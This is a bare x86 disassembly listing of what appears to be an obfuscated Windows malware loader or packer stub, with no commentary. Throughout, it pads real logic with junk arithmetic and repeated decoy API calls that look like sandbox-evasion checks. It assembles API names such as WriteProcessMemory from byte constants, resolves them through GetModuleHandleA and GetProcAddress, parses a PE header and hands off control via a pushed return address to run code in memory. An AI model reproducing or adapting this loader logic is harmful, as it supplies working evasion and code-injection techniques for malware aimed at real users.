xchg dword [ebp - 4], edx
sub edx, dword [0x40a056]
and dword [0x40a0a9], esi
add edi, ebx
sub esi, dword [0x40a0af]
xchg dword [ebp - 4], ecx
add ecx, edx
push 0
mov esi, str.ynpinxdovqipl
push esi
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x4036e5
sub edi, 0xffffffef
sub bh, byte [0x40a05e]
xchg dword [ebp - 4], edx
add edx, edi
add dword [0x40a173], eax
jmp 0x40384d
add ah, bh
xchg dword [ebp - 4], edx
add edx, edi
xor esi, edx
and dword [0x40a196], esi
and dword [0x40a023], 9
and dword [0x40a06d], 0x18
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x403630
xor edi, ebx
sub esi, dword [0x40a1aa]
xor dword [0x40a19b], 0x40
sub ebx, 0xffffffdd
add edi, 0x35
push 0xc
mov eax, 0x40a490
push eax
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x403630
sub edi, dword [0x40a17c]
sub edi, ebx
xchg dword [ebp - 4], edx
add edx, 0xffffff98
sub edx, dword [0x40a0df]
jmp 0x40432e
sub bl, byte [0x40a0d2]
add dword [0x40a005], esi
xchg dword [ebp - 4], edx
add edx, edi
and dword [0x40a1a1], edx
push 0xc
mov ecx, 0x40a490
push ecx
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xchg dword [ebp - 4], ecx
add ecx, 0xfffffffa
and dword [0x40a147], ebx
add ecx, ebx
xchg dword [ebp - 4], edx
add edx, ecx
push 0xc
mov eax, 0x40a490
push eax
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
mov dword [0x40a0a1], 0xc7
xor eax, 0xffffffb7
xchg dword [ebp - 4], ecx
add ecx, 0xffffff9a
and eax, 0x1d
jmp 0x403f07
xor dword [0x40a0d1], esi
sub byte [0x40a04c], 0xa7
mov dword [0x40a02c], 0x86
add eax, eax
add dword [0x40a19c], eax
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a18a]
push 0xc
mov ebx, 0x40a490
push ebx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x4031a3
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1ca]
sub ebx, dword [0x40a0ae]
sub dl, byte [0x40a17e]
sub eax, edx
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x4031a3
sub byte [0x40a1a8], 0xa7
sub dword [0x40a0aa], edi
add dword [0x40a0bc], esi
sub eax, 0x1c
jmp 0x402f5f
sub byte [0x40a1b2], 0x9f
sub dl, byte [0x40a058]
sub dword [0x40a11b], esi
sub dword [0x40a100], ecx
sub edi, 0x7a
push 0x1e
sub byte [0x40a07b], 0x94
add eax, esi
add eax, 0xffffffab
sub edx, edi
sub dword [0x40a0ce], edi
xor dword [0x40a05a], edi
push 0
push 0x3e8
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_WaitForSingleObjectEx]
add byte [0x40a042], dl
and dword [0x40a0f4], edx
or edi, 0x2b
xor ebx, 0x56
sub eax, dword [0x40a176]
sub edi, 7
dec dword [esp]
jne 0x40441f
sub ebx, dword [0x40a1bd]
sub byte [0x40a119], 0xb
sub bl, 0x9e
sub edx, 0xffffffc5
sub byte [0x40a0bf], 0x98
add bl, ah
add esp, 4
mov byte [0x40a23f], 0
push 0
mov edx, str.ynpinxdovqipl
push edx
mov ecx, str.hdqgtummidfemntd
push ecx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
xchg dword [ebp - 4], edx
add edx, esi
sub byte [0x40a066], 0xa2
sub eax, dword [0x40a1f4]
sub eax, dword [0x40a096]
sub esi, dword [0x40a011]
mov dword [0x40a00e], 0x1f
lea edi, [0x40a242]
inc edi
mov byte [edi], 0x6b
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a19c]
and dword [0x40a146], 0xb9
sub esi, dword [0x40a06f]
sub byte [0x40a16c], 0x2e
push edi
add byte [0x40a1d1], dl
or dword [0x40a1f6], 0xbd
or byte [0x40a1b2], bl
sub eax, ecx
add dword [0x40a06c], edx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x40a20c], eax
add ebx, edi
or dword [0x40a1a0], 0x13
xor esi, 0xffffffdc
or dword [0x40a028], 0x46
sub dl, cl
lea ecx, [0x40a213]
inc ecx
push ecx
mov word [ecx], 0x6956
and edx, 0x18
sub byte [0x40a0db], 0xfd
and dword [0x40a18c], 6
and dword [0x40a06e], 0x45
add ebx, ecx
push eax
add ecx, 0xffffffb9
sub ebx, 0xffffffd5
xor ecx, esi
xor byte [0x40a083], ch
xor dword [0x40a0f9], edi
sub dl, byte [0x40a05b]
lea ecx, [0x40a22d]
inc ecx
push ecx
mov word [ecx], 0x6f4c
xor esi, 0x62
xor dword [0x40a08c], 0x99
sub esi, dword [0x40a1d2]
sub bl, byte [0x40a153]
sub esi, edi
sub byte [0x40a156], 4
push eax
sub byte [0x40a1f6], 0xcf
sub byte [0x40a1fa], 0x61
or dword [0x40a028], 0xb6
or dword [0x40a156], edx
add dword [0x40a0fa], edx
add cl, ch
call dword [sym.imp.kernel32.dll_GetProcAddress]
sub byte [0x40a151], 0xce
and edx, 0xffffffc0
add edx, esi
add dword [0x40a161], edi
mov dword [0x40a208], eax
push eax
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
pop eax
push eax
push 0
mov esi, str.ynpinxdovqipl
push esi
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
pop eax
push eax
push 0xc
mov ecx, 0x40a490
push ecx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
pop eax
xchg byte [ebp - 4], dh
add dh, bh
add edi, edx
sub byte [0x40a176], 0x9d
or esi, 7
or esi, dword [0x40a042]
lea edi, [0x40a222]
inc edi
mov byte [edi], 0x6d
push edi
xchg byte [ebp - 4], ch
add ch, dh
add ecx, ecx
and dword [0x40a0c2], ecx
add dword [0x40a142], edx
call eax
test eax, eax
je 0x405c13
push eax
lea ecx, [0x40a222]
inc ecx
mov byte [ecx], 0x61
push ecx
or dword [0x40a175], edi
sub ecx, dword [0x40a117]
add esi, 0xffffffc3
sub esi, dword [0x40a1c1]
sub edx, dword [section..data]
sub dword [0x40a0c1], ebx
call dword [0x40a208]
sub edx, dword [0x40a158]
sub edi, dword [0x40a120]
add dword [0x40a1e4], edi
and dword [0x40a180], edi
sub byte [0x40a03e], 0xfa
test eax, eax
jne 0x405c13
sub dword [0x40a022], edi
sub ebx, dword [0x40a0f1]
xor edx, edi
or edi, dword [0x40a149]
or edi, 0x1d
sub byte [0x40a1be], 0x24
pop ecx
xor dword [0x40a035], eax
add esi, edi
sub edi, 0xffffffa2
sub ebx, dword [0x40a098]
add ecx, dword [ecx + 0x3c]
add edx, edi
sub dh, ah
add eax, edi
add dl, 0x30
add ecx, 0xa0
mov dword [0x40a200], ecx
xor dl, dh
or dword [0x40a031], edx
and dword [0x40a198], 0x26
add al, 0xf3
add dword [0x40a02e], eax
sub edx, esi
add dword [0x40a015], eax
and edx, 0x31
add dword [0x40a184], edx
sub ebx, dword [0x40a199]
sub dword [0x40a1fa], ebx
and dword [0x40a04f], 0xcf
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x40a210], eax
xor dword [0x40a028], edx
mov dword [0x40a1b0], 0xb3
sub edi, esi
add ebx, 0x56
or dword [0x40a1f4], 0xde
add dword [0x40a13e], ebx
push 0
push 8
push dword [0x40a200]
push 0x40a200
push 0xffffffffffffffff
push str.kriteProcessMemory
push 0x74697257
pop dword [str.kriteProcessMemory]
mov esi, dword [0x40a20c]
push esi
push 0x4047b0
push dword [sym.imp.kernel32.dll_GetProcAddress]
ret
sub dword [0x40a0f4], esi
add ebx, 0x11
xor dword [0x40a0a7], esi
xchg dword [ebp - 4], edx
add edx, esi
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a1a6]
push 0
mov eax, str.ynpinxdovqipl
push eax
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xchg byte [ebp - 4], ch
add ch, 0x83
add eax, 0xffffffbd
sub dword [0x40a193], eax
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1cb]
sub cl, byte [0x40a083]
push 0
mov eax, str.ynpinxdovqipl
push eax
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xchg byte [ebp - 4], cl
add cl, ah
xor dword [0x40a0c3], 0xa3
add esi, ebx
and dword [0x40a0a3], 0x84
jmp 0x405c13
xchg dword [ebp - 4], edx
add edx, esi
xor eax, esi
add dword [0x40a0ce], ebx
sub byte [0x40a134], 0xda
push 0xc
mov ecx, 0x40a490
push ecx
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x402800
and dword [0x40a01d], ebx
xor dword [0x40a0d9], 0x4e
add edi, 0xffffffda
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a088]
push 0
mov edi, str.ynpinxdovqipl
push edi
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x402800
and edi, 0x3e
sub byte [0x40a07c], 2
xor dword [0x40a003], 0x84
xchg dword [ebp - 4], ecx
add ecx, 0xffffffa2
sub edi, dword [0x40a06b]
jmp 0x403ce7
xchg dword [ebp - 4], edx
add edx, edi
sub edx, dword [0x40a1c4]
xor dword [0x40a0f4], 0xb1
xor dword [0x40a118], edi
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
or al, byte [0x40a0f1]
sub byte [0x40a12b], 0xa4
add dword [0x40a09f], ebx
sub byte [0x40a14e], 0x53
xchg dword [ebp - 4], edx
add edx, 0x42
push 0
mov edx, str.ynpinxdovqipl
push edx
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
sub byte [0x40a0c8], 0xc3
xchg dword [ebp - 4], edx
add edx, 0xffffff8b
add dword [0x40a055], esi
mov dword [0x40a195], 0x2a
xchg dword [ebp - 4], ecx
add ecx, edx
sub eax, 0x5c
jmp 0x403372
add eax, eax
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a129]
xor dword [0x40a0b6], 0xf0
sub dword [0x40a076], ebx
mov dword [0x40a115], 0x82
sub byte [0x40a19e], 0x19
push 0
mov edi, str.ynpinxdovqipl
push edi
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xchg dword [ebp - 4], edx
add edx, 0xffffff8e
add edi, ebx
mov dword [0x40a1a6], 0x9b
sub edi, dword [0x40a1cd]
add eax, edx
push 0
mov edi, str.ynpinxdovqipl
push edi
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
add bh, 0x38
and dword [0x40a04b], esi
sub byte [0x40a197], 0xee
sub byte [0x40a026], 0xbb
mov dword [0x40a1d7], 0xfd
xchg dword [ebp - 4], edx
sub edx, dword [0x40a09d]
jmp 0x4029ff
and dword [0x40a052], edi
xor dword [0x40a08e], 0x60
add eax, esi
add esi, ebx
sub dword [0x40a04d], esi
push 0
mov eax, str.ynpinxdovqipl
push eax
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405061
xchg dword [ebp - 4], ecx
add ecx, 0xffffffda
xor dword [0x40a161], 0xb
xchg dword [ebp - 4], edx
add edx, 0x2e
add esi, 0x51
jmp 0x404035
sub dword [0x40a06a], esi
sub eax, dword [0x40a1e1]
sub byte [0x40a1e3], 0x36
xchg dword [ebp - 4], ecx
add ecx, eax
xchg dword [ebp - 4], edx
sub edx, dword [0x40a140]
sub edi, 0x5d
push 0xc
mov ebx, 0x40a490
push ebx
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub dword [0x40a1e0], esi
add eax, eax
xchg dword [ebp - 4], edx
add edx, 0x46
xor dword [0x40a0f7], ebx
push 0xc
mov esi, 0x40a490
push esi
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
sub byte [0x40a169], 0x8e
sub bh, byte [0x40a0ea]
sub esi, ebx
sub byte [0x40a0b6], 0xcc
jmp 0x403def
sub byte [0x40a16c], 0x1b
sub esi, dword [0x40a017]
or dword [0x40a177], 0x96
xor esi, 0x12
sub byte [0x40a05f], 3
add ebx, 0x32
push 0xc
mov edx, 0x40a490
push edx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub byte [0x40a083], 0x10
or dword [0x40a016], 0x93
xor dword [0x40a00b], 0x64
add eax, 0xffffff87
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
sub ah, byte [0x40a086]
and dword [0x40a045], esi
xor dword [0x40a063], 0x22
or ebx, dword [0x40a060]
jmp 0x403796
sub byte [0x40a04a], 0xb1
sub ah, byte [0x40a107]
sub ebx, ebx
sub ah, byte [0x40a0ac]
push 0
mov eax, str.ynpinxdovqipl
push eax
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x40539f
and esi, 0x74
xor al, bh
sub dword [0x40a0a1], edi
and dword [0x40a194], 0xe0
sub esi, dword [0x40a1ed]
xor dword [0x40a02c], 0x58
push 0
mov esi, str.ynpinxdovqipl
push esi
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x40539f
xchg dword [ebp - 4], edx
add edx, ebx
xor dword [0x40a01b], 0x28
sub dh, byte [0x40a102]
or dword [0x40a029], edi
xor dword [0x40a135], eax
add edx, edx
jmp 0x405b54
add dword [0x40a023], eax
add dword [0x40a08d], edi
add esi, edi
sub byte [0x40a0d8], 0xa3
add dword [0x40a027], esi
sub byte [0x40a185], 0x43
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xor edi, 0x1e
and dword [0x40a118], 0x99
sub byte [0x40a1e4], 0xa0
xchg dword [ebp - 4], ecx
add ecx, edi
add al, ah
jmp 0x404098
add esi, ebx
sub dword [0x40a1a1], eax
xor dword [0x40a0b7], 0x61
xor edi, edi
sub dword [0x40a168], edi
sub edi, edi
push 0xc
mov edi, 0x40a490
push edi
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
mov dword [0x40a149], 0xe4
add dword [0x40a050], edi
or eax, 0x3a
sub esi, esi
xchg byte [ebp - 4], ch
add ch, ah
push 0xc
mov ebx, 0x40a490
push ebx
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
add ebx, 0xffffffea
xchg dword [ebp - 4], ecx
add ecx, eax
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1f8]
xor edx, 0x3e
add dword [0x40a1b6], ecx
add ecx, 0x39
jmp 0x405544
xchg dword [ebp - 4], edx
add edx, ebx
sub byte [0x40a025], 0x82
mov dword [0x40a1df], 0x2d
xor edx, 0xffffffba
sub bh, byte [0x40a1be]
or eax, 0x51
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xchg dword [ebp - 4], ecx
add ecx, 0x11
add byte [0x40a0cc], bl
and dword [0x40a15d], 0xffffff80
xchg dword [ebp - 4], edx
sub edx, dword [0x40a0ee]
sub ebx, dword [0x40a1a8]
push 0xc
mov ebx, 0x40a490
push ebx
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub byte [0x40a087], 0x58
xchg dword [ebp - 4], edx
add edx, 0xffffffc9
add ebx, 0x61
add ebx, 0xffffffd9
xor eax, ebx
xchg dword [ebp - 4], ecx
add ecx, 0xffffffe7
jmp 0x405c13
xchg dword [ebp - 4], edx
sub edx, dword [0x40a177]
add edx, edx
add esi, edi
sub esi, ebx
xchg dword [ebp - 4], ecx
add ecx, edx
sub byte [0x40a10f], 0x4c
push 0xc
mov ebx, 0x40a490
push ebx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xchg dword [ebp - 4], ecx
add ecx, esi
and dword [0x40a1a7], edi
sub byte [0x40a14f], 0x82
add bl, bh
jmp 0x405c13
xchg dword [ebp - 4], edx
add edx, 0xffffffc3
sub ebx, dword [0x40a072]
sub bh, byte [0x40a18a]
sub ah, byte [0x40a198]
sub bl, byte [0x40a181]
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov ecx, str.hdqgtummidfemntd
push ecx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
mov dword [0x40a07c], 0x6b
sub dword [0x40a171], eax
xor eax, 0xffffffbe
sub esi, esi
add esi, edi
jmp 0x405c13
or esi, 0x5d
sub dword [0x40a0f4], eax
xchg dword [ebp - 4], edx
sub edx, dword [0x40a064]
add eax, 0x33
xor dword [0x40a045], 0xc0
push 0xc
mov edi, 0x40a490
push edi
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x40297c
xor esi, esi
sub esi, dword [0x40a014]
add edi, esi
or dword [0x40a075], ebx
jmp 0x402fec
add esi, ebx
xor byte [0x40a096], bl
sub eax, 0x19
sub esi, dword [0x40a1b1]
sub ebx, eax
sub byte [0x40a115], 0xf5
push 0xc
mov ecx, 0x40a490
push ecx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
add dword [0x40a02b], esi
or edi, dword [0x40a127]
and dword [0x40a027], 0xc
sub byte [0x40a0ba], 0x33
add ebx, esi
and byte [0x40a081], ah
jmp 0x403b01
mov dword [0x40a091], 0x48
xchg byte [ebp - 4], ch
add ch, bl
add cl, 0xf9
sub byte [0x40a13d], 0xd6
add ecx, ebx
push 0xc
mov ecx, 0x40a490
push ecx
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x40312a
sub byte [0x40a1b5], 0x22
sub byte [0x40a078], 0x36
add ebx, 0x48
sub byte [0x40a112], 0x80
add esi, esi
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x40312a
add eax, 0xfffffffd
add dword [0x40a128], esi
sub byte [0x40a05e], 0x6f
xor dword [0x40a14b], edi
xchg dword [ebp - 4], edx
add edx, 0xffffff84
jmp 0x4041f6
xchg dword [ebp - 4], ecx
add ecx, ebx
sub byte [0x40a172], 0x6d
add esi, ecx
sub edi, 0xffffffb2
push 0xc
mov ebx, 0x40a490
push ebx
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xor dword [0x40a127], edi
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a0de]
xchg dword [ebp - 4], edx
add edx, 0xffffffdc
add dword [0x40a1ee], esi
sub eax, dword [0x40a0cb]
add eax, esi
jmp 0x405690
sub ebx, dword [0x40a13d]
xor edi, 0x73
xchg dword [ebp - 4], ecx
add ecx, eax
add bl, al
push 0xc
mov ebx, 0x40a490
push ebx
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
add dword [0x40a03e], edi
or dword [0x40a0e5], eax
sub byte [0x40a0ab], 0x26
or dword [0x40a0fd], eax
push 0xc
mov ecx, 0x40a490
push ecx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
and dword [0x40a16e], eax
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1a2]
xor edx, eax
xor dword [0x40a0a0], 0x86
mov dword [0x40a02b], 0x26
add edx, edi
jmp 0x403b66
and dword [0x40a123], edi
xchg dword [ebp - 4], ecx
add ecx, eax
or eax, dword [0x40a19d]
add al, bh
mov dword [0x40a0e6], 0xab
push 0xc
mov edi, 0x40a490
push edi
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
xchg dword [ebp - 4], ecx
add ecx, edi
xor dword [0x40a16c], 0xd0
add ebx, 0xffffffc9
sub edi, edi
push 0
mov esi, str.ynpinxdovqipl
push esi
mov ecx, str.hdqgtummidfemntd
push ecx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
add eax, 0x6c
and dword [0x40a1c1], 0x41
sub byte [0x40a102], 0xd2
sub dword [0x40a098], eax
jmp 0x40518b
xor dword [0x40a0f1], 0x8c
xor al, al
xor dword [0x40a093], 0x29
or dword [0x40a193], esi
add edi, eax
push 0xc
mov ebx, 0x40a490
push ebx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub byte [0x40a0c6], 0x1e
add edi, 0xffffffce
and dword [0x40a11b], eax
sub esi, dword [0x40a187]
add dword [0x40a1c2], eax
push 0xc
mov edi, 0x40a490
push edi
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub esi, dword [0x40a1e4]
sub byte [0x40a105], 0x1c
sub ebx, 0x62
add byte [0x40a14b], ah
jmp 0x405c13
sub dword [0x40a1a6], eax
and dword [0x40a06c], 0x78
sub dword [0x40a13d], esi
add dword [0x40a0f7], edi
xor dword [0x40a1a6], 0xa1
push 0xc
mov edx, 0x40a490
push edx
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xor edi, 0x31
sub ebx, 4
sub byte [0x40a1d3], 0x45
sub esi, dword [0x40a067]
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
sub byte [0x40a11d], 0x38
sub bl, byte [0x40a14d]
mov dword [0x40a067], 0x44
and esi, 3
add dword [0x40a072], ebx
sub dword [0x40a149], ebx
jmp 0x405934
sub dword [0x40a087], edi
xchg dword [ebp - 4], edx
add edx, eax
sub byte [0x40a08e], 0xac
add ebx, 0x4b
or edi, dword [0x40a04f]
add edi, ebx
push 0xc
mov edi, 0x40a490
push edi
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
or dword [0x40a044], esi
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a14c]
xor cl, 0x24
add dword [0x40a034], esi
push 0
mov eax, str.ynpinxdovqipl
push eax
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
add esi, esi
xchg byte [ebp - 4], cl
add cl, al
add ecx, 0x4c
add ebx, 0xffffff96
add ecx, edi
sub byte [0x40a0f8], 0x42
jmp 0x405ae1
sub byte [0x40a175], 0xae
or eax, dword [0x40a1a9]
xchg dword [ebp - 4], edx
add edx, edi
add dword [0x40a145], ebx
push 0
mov eax, str.ynpinxdovqipl
push eax
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
or dword [0x40a103], 0x13
or dword [0x40a188], esi
xor dword [0x40a12d], esi
add esi, eax
add dword [0x40a0b4], esi
or ah, byte [0x40a09c]
jmp 0x403258
or eax, dword [0x40a1a3]
add dword [0x40a14a], eax
add esi, ebx
sub eax, dword [0x40a093]
or edi, 0xffffff99
sub byte [0x40a027], 0xae
push 0
mov edx, str.ynpinxdovqipl
push edx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
xor eax, ebx
and edi, 0x56
add edi, 0x4a
xor dword [0x40a07c], 0x89
or ebx, 6
xor ebx, 0xffffff94
jmp 0x403d5c
sub eax, dword [0x40a0f8]
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1e8]
or dword [0x40a0aa], 0xd1
sub edi, dword [0x40a01f]
and dword [0x40a154], 0xf2
push 0xc
mov edi, 0x40a490
push edi
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xor dword [0x40a106], ebx
sub dword [0x40a120], esi
add eax, 0x5d
sub edi, dword [0x40a0c8]
jmp 0x402eb8
add dword [0x40a00a], edi
add ebx, ebx
sub byte [0x40a084], 0xc9
or dword [0x40a034], esi
xchg dword [ebp - 4], ecx
add ecx, 0x21
sub byte [0x40a1f0], 0xbf
push 0xc
mov eax, 0x40a490
push eax
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
sub dword [0x40a1ce], esi
or dword [0x40a14c], eax
add byte [0x40a04c], ah
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a143]
push 0xc
mov esi, 0x40a490
push esi
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
xchg dword [ebp - 4], ecx
add ecx, 0x65
sub byte [0x40a0b3], 0x84
sub dword [0x40a006], edi
sub byte [0x40a121], 0xd2
sub esi, 0x53
xor ecx, edi
jmp 0x405c13
sub esi, dword [0x40a05f]
sub bh, byte [0x40a18a]
sub dword [0x40a117], ebx
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1c2]
push 0xc
mov esi, 0x40a490
push esi
mov esi, str.ellighixoqdjz
push esi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
xchg dword [ebp - 4], edx
sub edx, dword [0x40a189]
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a002]
sub dh, dh
and byte [0x40a1cf], dl
jmp 0x405c13
xchg dword [ebp - 4], ecx
add ecx, edi
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1c8]
or byte [0x40a16d], dh
or eax, 0xffffffdc
push 0xc
mov ebx, 0x40a490
push ebx
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405743
sub eax, dword [0x40a139]
add dword [0x40a059], esi
and eax, 0xffffffa9
add dword [0x40a1bc], edi
or eax, 0xfffffff0
push 0xc
mov edx, 0x40a490
push edx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405743
sub byte [0x40a085], 0x86
sub ebx, dword [0x40a189]
xchg dword [ebp - 4], edx
sub edx, dword [0x40a0f3]
add dword [0x40a0aa], ebx
and ebx, 0x16
jmp 0x403993
mov esp, ebp
pop ebp
ret